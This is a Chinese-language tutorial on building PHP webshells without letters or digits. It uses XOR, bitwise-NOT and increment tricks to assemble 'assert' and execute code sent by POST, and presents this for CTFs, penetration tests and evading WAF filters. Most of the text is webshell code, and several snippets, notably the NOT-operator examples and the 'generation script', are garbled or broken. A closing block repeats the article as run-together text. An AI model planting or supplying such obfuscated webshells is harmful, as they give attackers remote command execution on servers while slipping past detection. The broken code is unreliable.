不包含数字字母的WebShell
字数 534 2025-08-18 11:37:20

无数字字母WebShell技术详解

前言

本文详细解析几种不使用数字和字母构造PHP WebShell的技术,这些技术在渗透测试和CTF比赛中非常有用,可以绕过一些简单的WAF检测。

一、使用异或(^)运算构造WebShell

基本原理

PHP中异或运算符(^)可以对字符进行按位异或操作,通过精心选择字符对,可以构造出需要的函数名如"assert"。

实现方式

方法1:直接使用特殊字符

<?php
$_=('特殊字符1'^'`').('特殊字符2'^'`')...('特殊字符n'^'`');
assert($_POST[_]);

方法2:使用chr()函数

<?php
$_=(chr(0x01)^'`').(chr(0x13)^'`').(chr(0x13)^'`').(chr(0x05)^'`').(chr(0x12)^'`').(chr(0x14)^'`').(chr(0x0D)^']').(chr(0x2F)^'`').(chr(0x0E)^']').(chr(0x09)^'`');
assert($_POST[_]);

方法3:使用urldecode

<?php
$_=(urldecode('%01')^'`').(urldecode('%13')^'`')...(urldecode('%09')^'`');
assert($_POST[_]);

二、使用取反(~)运算构造WebShell

基本原理

PHP的取反运算符(~)可以对字符进行按位取反,通过选择特定Unicode字符,可以构造出需要的函数名。

实现方式

基本形式

<?php
$瞰="和""的""始""瞰""站";
assert($_POST[_]);

修改版(适用于SUCTF)

<?php
$瞰)))))))));
assert($_POST[_]);

FUZZ脚本

<?php
$charset = '"';
for ($i=0; $i < 65536; $i++) {
    $charset .= sprintf("\u%04s",dechex($i)); // 生成 \u0000 - \uffff 字符集
}
$charset = json_decode($charset); // json_decode解码格式:json_decode('"xxxxxxxx"')
header('Content-Type: text/html; charset=utf-8');
for ($i=0; $i < mb_strlen($charset,'utf-8'); $i++) {
    $st = mb_substr($charset, $i,1,'utf-8');
    $a = ~($st);
    $b = $a[1];
    echo $st.' '.$b.'<br>';
}
?>

生成脚本

# generate.php
assert('eval($_POST[phpfile_put_contents('yihuo.php', '<?php assert'.'eval($_POST[');

三、使用自增(++)运算构造WebShell

基本原理

PHP中可以通过字符自增来获得其他字符,从而构造出需要的函数名。

实现方式

<?php
$_=('');
$__=$_;
$_++; // A
$__++; // B
// 继续自增构造需要的字符
assert($_POST[_]);

总结

  1. 异或运算:通过字符对的异或运算构造目标字符串
  2. 取反运算:利用Unicode字符的取反结果构造目标字符串
  3. 自增运算:通过字符自增逐步构造目标字符串

这些技术的关键在于利用PHP的语言特性绕过字符限制,在渗透测试和CTF比赛中具有实际应用价值。

无数字字母WebShell技术详解 前言 本文详细解析几种不使用数字和字母构造PHP WebShell的技术,这些技术在渗透测试和CTF比赛中非常有用,可以绕过一些简单的WAF检测。 一、使用异或(^)运算构造WebShell 基本原理 PHP中异或运算符(^)可以对字符进行按位异或操作,通过精心选择字符对,可以构造出需要的函数名如"assert"。 实现方式 方法1:直接使用特殊字符 方法2:使用chr()函数 方法3:使用urldecode 二、使用取反(~)运算构造WebShell 基本原理 PHP的取反运算符(~)可以对字符进行按位取反,通过选择特定Unicode字符,可以构造出需要的函数名。 实现方式 基本形式 修改版(适用于SUCTF) FUZZ脚本 生成脚本 三、使用自增(++)运算构造WebShell 基本原理 PHP中可以通过字符自增来获得其他字符,从而构造出需要的函数名。 实现方式 总结 异或运算 :通过字符对的异或运算构造目标字符串 取反运算 :利用Unicode字符的取反结果构造目标字符串 自增运算 :通过字符自增逐步构造目标字符串 这些技术的关键在于利用PHP的语言特性绕过字符限制,在渗透测试和CTF比赛中具有实际应用价值。